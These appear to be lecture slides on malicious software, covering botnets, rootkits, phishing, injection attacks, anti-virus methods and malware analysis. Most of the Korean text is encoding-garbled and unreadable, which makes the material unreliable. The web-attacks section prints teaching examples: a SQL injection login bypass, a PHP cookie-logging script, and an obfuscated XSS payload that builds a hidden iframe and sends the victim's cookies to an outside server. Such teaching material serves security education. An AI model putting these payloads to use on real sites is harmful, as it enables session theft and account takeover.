07. Malicious Software
Botnet Overview
- botmaster
- ๋ค์ํ malware๋ฅผ ์ฌ์ฉํ์ฌ botnet ๊ตฌ์ถ
- ์ ์์ ์ธ ํ๋์ ์ํ ๋ช ๋ น ์ ์ก
- bot
- Bot master๊ฐ ์ฌ์ฉํ๋ ์ ์ฑ ์ฝ๋
- ์ทจ์ฝํ ๊ฐ์ธ PC ๋๋ ๊ธฐํ device ๊ฐ์ผ
- Bot master์ ๋ช ๋ น์ ๊ธฐ๋ฐํ์ฌ ์ ์์ ์ธ ํ๋ ์ํ
- botnet
- ๋ค์์ bot๊ณผ ํ๋ ์ด์์ bot master๋ก ๊ตฌ์ฑ๋ network
- C&C (Command & Control) servers
- Bot๋ค์๊ฒ ๋ช ๋ น์ ์ค๊ณ(relay)ํ๋ ๋ฐ ์ฌ์ฉ๋๋ server
- Bot master๋ฅผ ์ถ์ ํ๊ธฐ ์ด๋ ต๊ฒ ๋ง๋ฆ
BotNet โ Infection Path
- ๋ธ๋ผ์ฐ์ ์ทจ์ฝ์ : 65%
- ์ด๋ฉ์ผ ์ฒจ๋ถ ํ์ผ: 13%
- OS ์ทจ์ฝ์ : 11%
- ๋ค์ด๋ก๋๋ ํ์ผ: 9%
- ๊ธฐํ: 2%
Countermeasures against botnets
- BotNet์ ๋ฐฉ์ด๊ฐ ์ด๋ ค์ด ์ด์
- ํ์ง์ ์ด๋ ค์
- ๋ค์ค ํน์ง
- Worm/virus, backdoor, spyware, rootkit ๋ฑ์ ๋ค์ํ ๊ธฐ๋ฅ ๋ณด์
- ๋ง์ ๋ณ์ข
- ์ผ๋ฐ ์ฌ์ฉ์ PC์ bot ๊ฐ์ผ
- ์ ์ IP address ์ฌ์ฉ (Spoofed IP address ์๋)
- ์์์ attack packet ์์ฑ
- ๋๋ถ๋ถ์ ์๊ฐ ๋์ ์ ์ฑ ํ์ ์์
Botnet composition and operations
- ์ทจ์ฝ์ , email ๋ฑ์ ํตํ malware ์ ํ
- C&C server ์ ์
- ๋ช ๋ น/์ ์ด
- ๋ช ๋ น/์ ์ด
- ์ ์ฑ ํ์ ์ํ (DDoS, spam email ๋ฑ)
- C&C server
- Botnet
- Botmaster
- Victim
BotNet composition
- Network protocol
- IRC (Internet Relay Chatting)
- Http
- P2P
- โฆ
- Bot master๊ฐ C&C(Command & Control) server๋ฅผ ํตํด ๋ช ๋ น/์ ์ด ์ ์ก
- C&C server ๊ตฌ์ถ ๋ฐฉ๋ฒ
- ๊ฒฝ์ฐฐ์ ์ํด C&C server๊ฐ ํ์๋ ๊ฒฝ์ฐ์ ๋์ฒ
Rally Mechanism
- Hard-coded IP address vs Dynamic DNS (DDNS)
- Hard-coded IP address ์ฌ์ฉ
x.x.x.x์ฐ๊ฒฐ
- DNS
- C&C :
x.x.x.x - C&C :
a.net
- C&C :
CCTV bots
Remote Control Facility
- Bot๊ณผ worm์ ๊ตฌ๋ณ
- Worm์ ์ค์ค๋ก ์ ํ ๋ฐ ํ์ฑํ
- Bot์ ์ด๊ธฐ์ ์ค์ ์์ค๋ก๋ถํฐ ์ ์ด๋จ
- Remote control facility ๊ตฌํ์ ์ผ๋ฐ์ ์ธ ์๋จ์ IRC server
- Bot์ด ์๋ฒ์ ํน์ ์ฑ๋์ ์ฐธ์ฌํ์ฌ ์์ ๋ฉ์์ง๋ฅผ ๋ช ๋ น์ผ๋ก ์ฒ๋ฆฌ
- ์ต์ botnet์ HTTP์ ๊ฐ์ protocol์ ํตํ ์๋ฐํ ํต์ ์ฑ๋ ์ฌ์ฉ
- ๋ถ์ฐ ์ ์ด ๋ฉ์ปค๋์ฆ์ ๋จ์ผ ์คํจ ์ง์ ์ ํผํ๊ธฐ ์ํด peer-to-peer protocol ์ฌ์ฉ
Keylogger ๋ฐ spyware
- Keylogger
- ๊ณต๊ฒฉ์๊ฐ ๋ฏผ๊ฐ ์ ๋ณด๋ฅผ ๋ชจ๋ํฐ๋งํ ์ ์๋๋ก keystroke ์บก์ฒ
- ์ผ๋ฐ์ ์ผ๋ก keyword(โloginโ, โpasswordโ) ์ฃผ๋ณ ์ ๋ณด๋ง ๋ฐํํ๋ ํํฐ๋ง ๋ฉ์ปค๋์ฆ ์ฌ์ฉ
- Spyware
- ์์คํ ์ ๊ด๋ฒ์ํ ํ๋์ ๋ชจ๋ํฐ๋งํ๊ธฐ ์ํด ์นจํด๋ ๋จธ์ ์ ์ฅ์
- Browsing ํ๋์ ๊ธฐ๋ก ๋ฐ ์ฝํ ์ธ ๋ชจ๋ํฐ๋ง
- ํน์ web page ์์ฒญ์ ๊ฐ์ง ์ฌ์ดํธ๋ก redirection
- Browser์ ํน์ ๊ด์ฌ web site ๊ฐ ๊ตํ๋๋ ๋ฐ์ดํฐ์ ๋์ ์์
Phising
- Spear-phishing
- ๊ณต๊ฒฉ์๊ฐ ์์ ์๋ฅผ ๋ฉด๋ฐํ ์กฐ์ฌํจ.
- ์์ ์์๊ฒ ํน๋ณํ ๋ง์ถฐ์ง e-mail ์ ์, ์ง์ ํ์ ์ ์ํด ๋ค์ํ ์ ๋ณด ์ธ์ฉ
- Phishing
- ์ ๋ขฐํ ์ ์๋ ์์ค์ ํต์ ์ผ๋ก ์์ฅํ์ฌ ์ฌ์ฉ์์ ์ ๋ขฐ๋ฅผ ์ด์ฉํ๋ social engineering ์ ์ฉ
- ๋ฑ ํน, ๊ฒ์ ๋ฑ ์ ์ฌ ์ฌ์ดํธ์ ๋ก๊ทธ์ธ ํ์ด์ง๋ฅผ ๋ชจ๋ฐฉํ ๊ฐ์ง web site๋ก ์ฐ๊ฒฐ๋๋ URL์ spam e-mail์ ํฌํจ
- ๊ณ์ ์ธ์ฆ์ ์ํด ์ฌ์ฉ์์ ๊ธด๊ธํ ์กฐ์น๊ฐ ํ์ํจ์ ์์
- ์บก์ฒ๋ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ์๊ฐ ๊ณ์ ๋์ฉ
Backdoor
- Trapdoor๋ผ๊ณ ๋ ํจ.
- ๊ณต๊ฒฉ์๊ฐ ๋ณด์ ์ ๊ทผ ์ ์ฐจ๋ฅผ ์ฐํํ์ฌ ์ ๊ทผ ๊ถํ์ ์ป์ ์ ์๋๋ก ํ๋ ํ๋ก๊ทธ๋จ์ ๋น๋ฐ ์ง์ ์
- Maintenance hook์ ํ๋ก๊ทธ๋๋จธ๊ฐ ๋๋ฒ๊น ๋ฐ ํ ์คํธ๋ฅผ ์ํด ์ฌ์ฉํ๋ backdoor
- ์ ํ๋ฆฌ์ผ์ด์ ๋ด backdoor์ ๋ํ ์ด์ ์ฒด์ ์ ์ด ๊ตฌํ์ ์ด๋ ค์
Rootkit
- ์์คํ ์ ๋ํ ์๋ฐํ ์ ๊ทผ์ ์ ์งํ๊ธฐ ์ํด ์ค์น๋ ์จ๊ฒจ์ง ํ๋ก๊ทธ๋จ ์งํฉ
- ์ปดํจํฐ์ process, file, registry๋ฅผ ๋ชจ๋ํฐ๋งํ๊ณ ๋ณด๊ณ ํ๋ ๋ฉ์ปค๋์ฆ์ ์กฐ์ํ์ฌ ์ํ
- ๊ณต๊ฒฉ์์๊ฒ ๊ด๋ฆฌ์(๋๋ root) ๊ถํ ๋ถ์ฌ
- ํ๋ก๊ทธ๋จ ๋ฐ ํ์ผ ์ถ๊ฐ/๋ณ๊ฒฝ, process ๋ชจ๋ํฐ๋ง, network traffic ์ก์์ , ํ์ ์ backdoor ์ ๊ทผ ๊ฐ๋ฅ
Rootkit Classification Characteristics
- Persistent
- Memory based
- User mode
- Kernel mode
- Virtual machine based
- External mode
System Call Table Modification

HW based Rootkit detection
- System bus monitor๋ฅผ ์ฌ์ฉํ kernel ๋ฌด๊ฒฐ์ฑ ๋ชจ๋ํฐ๋ง

Phishing
- Voice phishing
- Messenger phishing
- SMS phishing (Smishing)
- Email phishing
- Phishing site
Cold Boot Attacks
- DRAM ๋ด encryption key์ ๋ํ ๊ณต๊ฒฉ
dll injection
- Dll : dynamic link library
- ์คํ ํ์ผ์์ ํ์ํ library๋ฅผ ๋์ ์ผ๋ก loadingํจ.
- Linux์์๋
.soํ์ผ
- Dll injection ๊ณต๊ฒฉ
- ๊ณต๊ฒฉ์๊ฐ ์ ์ํ
dllํ์ผ์ ์ ์ ํ์ผ์ธ ๊ฒ์ฒ๋ผ loadingํ๋๋ก ํ๋ ๊ณต๊ฒฉ
- ๊ณต๊ฒฉ์๊ฐ ์ ์ํ
Process Injection ๊ณต๊ฒฉ
- In-memory malware ๋๋ fileless malware์์ ์ฌ์ฉ๋๋ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ
- Process์ ๊ฐ์ ๋ฉ๋ชจ๋ฆฌ ์คํ ์ฝ๋ ๋ถ๋ถ์ ๊ณต๊ฒฉ์์ ์ฝ๋๋ก ๋ฐ๊พธ์ด ์คํํ๊ฒ ํ๋ ๋ฐฉ๋ฒ
- ์: svchost.exe, dllhost.exe ๋ฑ๊ณผ ๊ฐ์ process์ ์คํ ์ฝ๋ ๋ถ๋ถ์ ๊ณต๊ฒฉ์์ ์ฝ๋๋ก ๋ณ๊ฒฝ
Web Attacks โ Cybercrime 2.0
- Browser ๊ด๋ จ ๊ณต๊ฒฉ
- Browser ์ฑ๋ฅ ํฅ์ ๋ฐ web ๊ธฐ๋ฅ ํ๋ถํ
- Spam email์ ํตํด ์ฌ์ฉ์ ์ ์ธ
- Web server ๊ณต๊ฒฉ
- Exploit server๋ฅผ ๊ฐ๋ฆฌํค๋ IFRAME
- โDrive-by downloadโ : malware ์ ํ์ ์ฃผ์ ๊ฒฝ๋ก๋ก ์ฌ์ฉ๋จ
- SQL injection ๊ณต๊ฒฉ
SELECT * FROM users WHERE username = โadminโ--โ and password = โ1234โ
- .htaccess๋ฅผ ํตํ redirection
- URL์ ๋ค๋ฅธ ๋ชฉ์ ์ง๋ก ์ ํ์ redirection ํ์ฉ (์: HTTP Referrer header ์ด์ฉ)
Web Attacks - Cross Site Scripting (XSS)
- Web application ๋ณด์์ ์ผ๋ฐ์ ์ธ ๋ฌธ์
- Server-side web application์ ๊ฒฐํจ์ผ๋ก ๋ฐ์ (๊ณต๊ฒฉ์๊ฐ ์์์ HTML ์ฝ์ ํ์ฉ)
- ์ทจ์ฝํ script ์ฝ์
- ์๋ฑํ ๋ฐ์ดํฐ ์ฝ์ ๋๋ ๋ค๋ฅธ ์์น๋ก ์ด๋
- ์์
<?php $f = fopen(โlog.txtโ,โaโ); fwrite($f, โIP: {$_SERVER[โREMOVE_ADDRโ]} Ref: {$_SERVER[โHTTP_REFERERโ]} Cookie {$HTTP_GET_VARS[โcookie_nameโ]\nโ); fclose($f); ?>
Web Attacks - Cross Site Scripting (XSS)
<div id='test'></div>
<img src='์ด๋ฏธ์ง ์ฃผ์' onLoad='eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116,
46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 116, 101, 115, 116, 3
9, 41, 46, 105, 110, 110, 101, 114, 72, 84, 77, 76, 61, 34, 60, 105, 102, 114, 97, 109, 101, 32, 110,
97, 109, 101, 61, 92, 34, 104, 97, 99, 107, 95, 102, 114, 97, 109, 101, 92, 34, 32, 105, 100, 61, 92,
34, 104, 97, 99, 107, 95, 102, 114, 97, 109, 101, 92, 34, 32, 119, 105, 100, 116, 104, 61, 48, 32, 10
4, 101, 105, 103, 104, 116, 61, 48, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62, 34, 59));'>
<img src='์ด๋ฏธ์ง ์ฃผ์' onLoad='eval(String.fromCharCode(104, 97, 99, 107, 95, 102, 114, 97, 109,
101, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 5
8, 47, 47, 117, 115, 101, 99, 117, 114, 105, 116, 121, 46, 104, 97, 110, 121, 97, 110, 103, 46, 97, 9
9, 46, 107, 114, 47, 97, 46, 112, 104, 112, 63, 98, 61, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116,
46, 99, 111, 111, 107, 105, 101, 59));'>
<div id="test"></div>
<img src= ..... document.getElementById('test').innerHTML="<iframe name=\"hack_frame\" id=\"
hack_frame\" width=0 height=0></iframe>"; ...>
<img src= ..... hack_frame.location.href='http://usecurity.hanyang.ac.kr/a.php?b=' +document.cookie
; ...>
OWASP TOP 10 (2021)
- ์ ๊ทผ ์ ์ด ์ทจ์ฝ์ (Broken Access Control)
- ์ํธํ ์คํจ (Cryptographic Failures)
- ์ธ์ ์ (Injection)
- ์์ ํ์ง ์์ ์ค๊ณ (Insecure Design)
- ๋ณด์ ์ค์ ์ค๋ฅ (Security Misconfiguration)
- ์ค๋๋๊ณ ์ทจ์ฝํ ๊ตฌ์ฑ์์ ์ฌ์ฉ (Vulnerable and Outdated Components)
- ์๋ณ ๋ฐ ์ธ์ฆ ์คํจ (Identification and Authentication Failures)
- ์ํํธ์จ์ด ๋ฐ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ ์คํจ (Software and Data Integrity Failures)
- ๋ณด์ ๋ก๊น ๋ฐ ๋ชจ๋ํฐ๋ง ์คํจ (Security Logging and Monitoring Failures)
- ์๋ฒ ์ธก ์์ฒญ ์์กฐ (Server-Side Request Forgery, SSRF)
SNS

- Twitter
- 1์ต 600๋ง ์ฌ์ฉ์
- ์ 10์ต tweet
- Twitter ์์ spam
- Spamming์ ์ํด ์นจํด๋ ๊ณ์
- ์ฑ๊ณต ์์ธ
- ๋๊ท๋ชจ ์ฌ์ฉ์
- URL ๋จ์ถ ์๋น์ค
- ๋ฐฉ์ง๋ฅผ ์ํ ํํฐ๋ง ๋ฉ์ปค๋์ฆ ๋ถ์ฌ
Spam Classification
- Clickthrough rate (CTR)
- ์ด 245,000 URL
- 97.7%์ URL์ click ์์
- Traffic์ ๋ฐ์์ํค๋ link ์ค (URL์ 2.3%)
- URL์ 50%๋ 10ํ ๋ฏธ๋ง click
- ์์ 10% URL์ด 160๋ง click ํ๋
- Spam tweet์ 0.13%๊ฐ ๋ฐฉ๋ฌธ ๋ฐ์์ํด
- Spam email์ CTR(0.003%-0.006%)๋ณด๋ค ํจ์ฌ ๋์
Malware Countermeasure Approaches
- Malware ์ํ์ ๋ํ ์ด์์ ์ธ ํด๊ฒฐ์ฑ
์ ์๋ฐฉ
- ์๋ฐฉ์ 4๊ฐ์ง ์ฃผ์ ์์
- ์ ์ฑ
- ์ธ์
- ์ทจ์ฝ์ ์ํ
- ์ํ ์ํ
- ์๋ฐฉ์ 4๊ฐ์ง ์ฃผ์ ์์
- ์๋ฐฉ ์คํจ ์, ๋ค์ ์ํ ์ํ ์ต์
์ ์ง์ํ๊ธฐ ์ํด ๊ธฐ์ ์ ๋ฉ์ปค๋์ฆ ์ฌ์ฉ ๊ฐ๋ฅ
- ํ์ง
- ์๋ณ
- ์ ๊ฑฐ
Generations of Anti-Virus Software
- 1์ธ๋: ๋จ์ ์ค์บ๋
- ์ ์ฑ ์ํํธ์จ์ด๋ฅผ ์๋ณํ๊ธฐ ์ํด ์๊ทธ๋์ฒ๊ฐ ํ์
- ์๋ ค์ง ์ ์ฑ ์ํํธ์จ์ด์ ํ์ง์ ๊ตญํ๋จ.
- 2์ธ๋: ํด๋ฆฌ์คํฑ ์ค์บ๋
- ํด๋ฆฌ์คํฑ ๊ท์น์ ์ฌ์ฉํ์ฌ ์์ฌ์ค๋ฌ์ด ์ ์ฑ ์ํํธ์จ์ด ์ธ์คํด์ค๋ฅผ ๊ฒ์
- ๋ค๋ฅธ ์ ๊ทผ ๋ฐฉ์์ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ
- 3์ธ๋: ํ์ ๊ธฐ๋ฐ ํ์ง
- ๊ฐ์ผ๋ ํ๋ก๊ทธ๋จ์ ๊ตฌ์กฐ๊ฐ ์๋ ํ๋์ผ๋ก ์ ์ฑ ์ํํธ์จ์ด๋ฅผ ์๋ณํ๋ ๋ฉ๋ชจ๋ฆฌ ์์ฃผ ํ๋ก๊ทธ๋จ
- 4์ธ๋: ์ข
ํฉ ๋ณดํธ
- ๋ค์ํ anti-virus ๊ธฐ์ ์ ํจ๊ป ์ฌ์ฉํ๋ ํจํค์ง
- ์ค์บ๋, ํ์ ๊ธฐ๋ฐ ํ์ง, ์ ๊ทผ ์ ์ด ๊ธฐ๋ฅ ํฌํจ
Generic Decryption (GD)
- Anti-virus ํ๋ก๊ทธ๋จ์ด ๋น ๋ฅธ scanning ์๋๋ฅผ ์ ์งํ๋ฉด์ ๋ณต์กํ polymorphic virus ๋ฐ ๊ธฐํ malware๋ฅผ ์ฝ๊ฒ ํ์ง ๊ฐ๋ฅ
- ์คํ ํ์ผ์ ๋ค์ ์์๋ฅผ ํฌํจํ๋ GD scanner๋ฅผ ํตํด ์คํ๋จ
- CPU emulator
- Virus signature scanner
- Emulation control module
- GD scanner์ ๊ฐ์ฅ ์ด๋ ค์ด ์ค๊ณ ๋ฌธ์ ๋ ๊ฐ ํด์์ ์ผ๋ง๋ ์ค๋ ์คํํ ์ง ๊ฒฐ์ ํ๋ ๊ฒ์.
Host-Based Behavior-Blocking Software
- Host ์ปดํจํฐ์ OS์ ํตํฉ๋์ด ์ ์ฑ ํ์์ ๋ํด ํ๋ก๊ทธ๋จ ๋์์ ์ค์๊ฐ ๋ชจ๋ํฐ๋ง
- ์์คํ ์ ์ํฅ์ ๋ฏธ์น๊ธฐ ์ ์ ์ ์ฌ์ ์ ์ฑ ํ์ ์ฐจ๋จ
- ์ค์๊ฐ์ผ๋ก ์ํํธ์จ์ด๋ฅผ ์ฐจ๋จํ๋ฏ๋ก fingerprinting์ด๋ heuristic๊ณผ ๊ฐ์ anti-virus ํ์ง ๊ธฐ์ ๋ณด๋ค ์ด์ ๋ณด์
- ํ๊ณ
- ๋ชจ๋ ๋์์ด ์๋ณ๋๊ธฐ ์ ์ ์ ์ฑ ์ฝ๋๊ฐ ๋์ ๋จธ์ ์์ ์คํ๋์ด์ผ ํ๋ฏ๋ก, ํ์ง ๋ฐ ์ฐจ๋จ ์ ์ ํด๋ฅผ ๋ผ์น ์ ์์
Perimeter Scanning Approaches
- ์กฐ์ง์ firewall ๋ฐ IDS์์ ์คํ๋๋ email ๋ฐ web proxy ์๋น์ค์ ์ผ๋ฐ์ ์ผ๋ก anti-virus ์ํํธ์จ์ด ํฌํจ
- IDS์ traffic ๋ถ์ ๊ตฌ์ฑ ์์์๋ ํฌํจ๋ ์ ์์
- ์์ฌ์ค๋ฌ์ด traffic ํ๋ฆ์ ์ฐจ๋จํ๋ ์นจ์ ๋ฐฉ์ง ์กฐ์น ํฌํจ ๊ฐ๋ฅ
- Malware scanning์ผ๋ก ์ ๊ทผ ์ ํ
- Two types of monitoring software
- Ingress monitor
- ๊ธฐ์ network์ internet ๊ฒฝ๊ณ์ ์์น
- ํ ๊ฐ์ง ๊ธฐ์ ์ ์ฌ์ฉ๋์ง ์๋ ๋ก์ปฌ IP address๋ก์ ์์ traffic์ ์ฐพ๋ ๊ฒ์.
- Egress monitor
- ๊ธฐ์ network์ internet ๊ฒฝ๊ณ๋ฟ๋ง ์๋๋ผ ๊ฐ๋ณ LAN์ egress ์ง์ ์ ์์น
- Scanning ๋๋ ๊ธฐํ ์์ฌ์ค๋ฌ์ด ๋์์ ์งํ์ ๋ํด ๋ฐ์ traffic ๋ชจ๋ํฐ๋ง
- Ingress monitor
Worm Countermeasures
- Virus์ worm ๋์ ๊ธฐ์ ์ ์๋นํ ์ค๋ณต ์กด์ฌ
- Worm์ด ๋จธ์ ์ ์์ฃผํ๋ฉด anti-virus ์ํํธ์จ์ด๋ฅผ ์ฌ์ฉํ์ฌ ํ์ง ๋ฐ ์ ๊ฑฐ ๊ฐ๋ฅ
- ๊ฒฝ๊ณ network ํ๋ ๋ฐ ์ฌ์ฉ๋ ๋ชจ๋ํฐ๋ง์ด worm ๋ฐฉ์ด์ ๊ธฐ์ด๊ฐ ๋ ์ ์์
- Worm ๋ฐฉ์ด ์ ๊ทผ ๋ฐฉ์ ํฌํจ ์ฌํญ
- Signature ๊ธฐ๋ฐ worm scan ํํฐ๋ง
- Filter ๊ธฐ๋ฐ worm ์ต์
- Payload ๋ถ๋ฅ ๊ธฐ๋ฐ worm ์ต์
- Threshold Random Walk (TRW) scan ํ์ง
- Rate limiting
- Rate halting
Digital Immune System

- ๋์งํธ ๋ฉด์ญ ์์คํ ์ ์ธ๊ฐ์ ๋ฉด์ญ ์ฒด๊ณ์ ์ ์ฌํ๊ฒ ์๋ํ๋ ํฌ๊ด์ ์ธ anti-virus ๋ฐฉ์์ ์ ๊ณต
- ์๋ ์๋ฆฌ:
- ์์คํ ์์ ์์ฌ์ค๋ฌ์ด ํ๋ก๊ทธ๋จ์ด ํ์ง๋๋ฉด, ๋ถ์์ ์ํด ์ค์ ์๋ฒ๋ก ์ ์ก๋จ.
- ์ค์ ์๋ฒ๋ ํ๋ก๊ทธ๋จ์ ๋ถ์ํ์ฌ ์ ์ฑ ์ฝ๋๋ก ํ์ธ๋๋ฉด ์๊ทธ๋์ฒ์ ์น๋ฃ๋ฒ์ ์์ฑ
- ์ด ์ ๋ณด๋ ๋ชจ๋ ํด๋ผ์ด์ธํธ์๊ฒ ์๋์ผ๋ก ์ ํ๋์ด ์๋ก์ด ์ํ์ ์ ์ํ๊ฒ ๋์
Android Malware Detection
DroidAPIMiner
- ์ค์น ์์ ์ API level ๋ถ์
- Malware์์ ์์ฃผ ์ฌ์ฉ๋๋ ์ค์ํ API call์ ์ง์ค ๏ Dangerous API
- API + parameters ๏ ์ํ
- ์ ์ ๋ถ์

MADAM

- ์ ์ ๋์๊ณผ ์ ์ฑ ๋์์ ๊ตฌ๋ณํ๊ธฐ ์ํด kernel-level ๋ฐ user-level์์ Android ๋ชจ๋ํฐ๋ง
- ๋ค์ค ๋ ๋ฒจ ๋ชจ๋ํฐ๋ง
- 1๋จ๊ณ: System call ๋ชจ๋ํฐ๋ง (open, ioctl, brk, read, write, exit, close, sendto, sendmsg, recvfrom, recvmsg)
- 2๋จ๊ณ: ์ฌ์ฉ์ ์ ํด ์ํ ์ฌ๋ถ (Activity monitor) / ์ ์ก๋ SMS ์ (SMS monitor)
- ์คํ
- ์์ฌ์ค๋ฌ์ด ์์๋ฅผ ์๋์ผ๋ก ์ ์
Android Malware Analysis with Machine Learning

- Multi-modal Neural Networks
- 2019๋ 3์ ๋ฐํ
- Google Scholar ์ธ์ฉ: 193
- ํ์ง ์ ํ๋: 98%
Malware Analysis
Issues on Malware Analysis
- Malware ๋ฐฉ์ด
- ์๋ ๋ถ์ ์ค์
- ๋์ ์ดํด, ๋์์ฑ ๊ฐ๋ฐ ๋ฐ signature ์์ฑ
- Malware ์ฆ๊ฐ ์๋๋ฅผ ๋ฐ๋ผ์ก๊ธฐ ์ด๋ ค์
- 8,000,000 / 3 / 30 = 88,889 โ 90,000 per day

PE file format

Virtual address space

Static Analysis vs. Dynamic Analysis
- ์ ์ ๋ถ์
- ์คํ ์์ด malware binary ๋ถ์
- ๋ค์ํ ๋ถ์ ์ ๊ทผ ๋ฐฉ์
- Instruction ๋น๋ ๋ถ์
- Control flow graph (CFG) ๋ถ์
- System call ํธ์ถ ์์ ๋ถ์
- Block ๊ธฐ๋ฐ ์ ์ฌ์ฑ ๋ถ์
- Malware ์๊ฐํ
- ์ฅ์
- ๋ชจ๋ binary code ๋ถ์ ๊ฐ๋ฅ
- ๋ฌธ์ ์
- ๋ค์ํ packing ๊ธฐ์
- Polymorphic & Metamorphic worm
- ๋๋ถ๋ถ์ worm์ packing ๊ธฐ์ ์ ์ฉ๋จ
- ๋์ ๋ถ์ ๊ธฐ์ ์ ์ด์ฉํ ๋ถ์ ํ์!
Dynamic Analysis

- ๋ถ์ ํ๊ฒฝ
- FTP Server
- Malware sample ๋ฐ ์คํ ์ถ์
- ๋ถ์ ์๋ฒ
- Pin ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์คํ ์ถ์ ์ถ์ถ
- ๋ชจ๋ํฐ๋ง ๋จธ์
- ์๊ฒฉ ๋ช ๋ น ์ธํฐํ์ด์ค
- Windows OS
- VMware vSphere ESXi 5.1
- PIN Visual Studio 2010
- PowerCLI
Frequency Analysis - Opcode Frequency
| Opcode | Goodware | Kernel RK | User RK | Tools | Bot | Trojan | Virus | Worms |
|---|---|---|---|---|---|---|---|---|
mov | 25.3% | 37.0% | 29.0% | 25.4% | 34.6% | 30.5% | 16.1% | 22.2% |
push | 19.5% | 15.6% | 16.6% | 19.0% | 14.1% | 15.4% | 22.7% | 20.7% |
call | 8.7% | 5.5% | 8.9% | 8.2% | 11.0% | 10.0% | 9.1% | 8.7% |
pop | 6.3% | 2.7% | 5.1% | 5.9% | 6.8% | 7.3% | 7.0% | 6.2% |
cmp | 5.1% | 6.4% | 4.9% | 5.3% | 3.6% | 3.6% | 5.9% | 5.0% |
jz | 4.3% | 3.3% | 3.9% | 4.3% | 3.3% | 3.5% | 4.4% | 4.0% |
lea | 3.9% | 1.8% | 3.3% | 3.1% | 2.6% | 2.7% | 5.5% | 4.2% |
test | 3.2% | 1.8% | 3.2% | 3.7% | 2.6% | 3.4% | 3.1% | 3.0% |
jmp | 3.0% | 4.1% | 3.8% | 3.4% | 3.0% | 3.4% | 2.7% | 4.5% |
add | 3.0% | 5.8% | 3.7% | 3.4% | 2.5% | 3.0% | 3.5% | 3.0% |
jnz | 2.6% | 3.7% | 3.1% | 3.4% | 2.2% | 2.6% | 3.2% | 3.2% |
retn | 2.2% | 1.7% | 2.3% | 2.9% | 3.0% | 3.2% | 2.0% | 2.3% |
xor | 1.9% | 1.1% | 2.3% | 2.1% | 3.2% | 2.7% | 2.1% | 2.3% |
and | 1.3% | 1.5% | 1.0% | 1.3% | 0.5% | 0.6% | 1.5% | 1.6% |
Malware์ ๋น๋ ๋ถํฌ๋ ์ ์ ์ํํธ์จ์ด์ ๋ค๋ฆ
ํน์ง
- Opcode ๋น๋ (์ ์ ๋ถ์)
- <Daniel Bilar, โStatistical Structures: Fingerprinting Malware for Classification and Analysisโ, Black Hat, 2006>
Dynamic Opcode Frequency
- Instruction ๋ฐ basic block์ ๋ฐ๋ณต ๋ฐ๊ฒฌ
- ๋ฌธ์ ์ ?

Redundancy Filtering - Experiment
- Block ์ ๋น๊ต
- Ratio(FM) ํ๊ท = 1.6%
| Traces | Original | RF | Ratio | FM | Ratio |
|---|---|---|---|---|---|
rtraceWin32AcidShiver_a | 615,357 | 34,869 | 5.7% | 19,090 | 3.1% |
rtraceWin32Agent_h | 1,790,730 | 50,987 | 2.8% | 27,467 | 1.5% |
rtraceWin32Agobot_1_c | 2,466,508 | 44,877 | 1.8% | 22,292 | 0.9% |
rtraceWin32Bionet_13 | 2,534,095 | 95,647 | 3.8% | 38,306 | 1.5% |
rtraceWin32Chiton | 758,995 | 17,052 | 2.2% | 9,042 | 1.2% |
rtraceWin32Deborm_a | 340,852 | 15,716 | 4.6% | 6,926 | 2.0% |
rtraceWin32Nilage_aa | 885,016 | 10,836 | 1.2% | 5,886 | 0.7% |
Malware Visualization
- Malware ์ด๋ฏธ์ง
- ACM RACS 2013
- Google citations: 60
- IJIS journal, Feb. 2015
- Google citations: 99
- ACM RACS 2013
- ML ๊ธฐ์ ์ ์ฉ ์๋
Anti-Forensic techniques

Packing Example

Packing Trends

- Virus Total ํ์ผ ๋ถ์
- ๊ฐ ํด๋ง๋ค 2,000๊ฐ์ ์ํ
- PE ํ์ผ ๋์
- Packer
Packing Complexity
| ๋ ๋ฒจ | ์ค๋ช |
|---|---|
| 1 | ๋จ์ผ ํจํน, ์: UPX |
| 2 | ์ฌํจํน, ์: ํจํน๋ UPX PE ํ์ผ์ UPX๋ก ๋ค์ ํจํน |
| 3 | ๋ค์ค ๊ณ์ธต ํจํน, ์: ๋์ผํ๊ฑฐ๋ ๋ค๋ฅธ ํจ์ปค๋ก ํ์ผ์ ๋ฐ๋ณต์ ์ผ๋ก ์ฌ๋ฌ ๋ฒ ํจํน |
| 4 | ์ ํ 1, 2, ๋๋ 3 + ์๋ณธ ์ฝ๋๊ฐ ๊ฐ์ฅ ๊น์ ๋ง์ง๋ง ๊ณ์ธต์ด ์๋ ๋ด๋ถ ๊ณ์ธต ์ค ํ ๊ณณ์์ ๋ฐ๊ฒฌ๋จ, ์: UPolyX |
| 5 | ์ ํ 1, 2, ๋๋ 3 + ์๋ณธ ํ๋ก๊ทธ๋จ์ ์ธํจํน์ ๋ด๋นํ์ง ์๋ ์ธ๋ถ ํจ์ปค ์ฝ๋์ ์์ฌ ๋ถ๋ถ์ ๊ฐ์ง. ์ด๋ ํผ๋ ๋ฐ ๋๋
ํ๋ฅผ ์ํ ๋ชฉ์ . ์: ACProtect |
| 6 | ์ ํ 1, 2, ๋๋ 3 + ๋ฉ์ธ ์ธํจํน ์ฝ๋๊ฐ ํ์ผ์ ์ฌ๋ฌ ๋ค๋ฅธ ๋ถ๋ถ์ ์์นํ ๋ณ๋ sub-unpacker ์งํฉ์ ์์งํ๊ณ , ์ด๋ฅผ ๊ฒฐํฉํ์ฌ ์๋ณธ ํ๋ก๊ทธ๋จ์ ์ธํจํน. ์ธํจํน ๋ก์ง์ ๋ฉ์ธ ์ธํจํน ์ฝ๋๊ฐ ์๋ sub-unpacker์ ์์น. ์: Frankenstein |
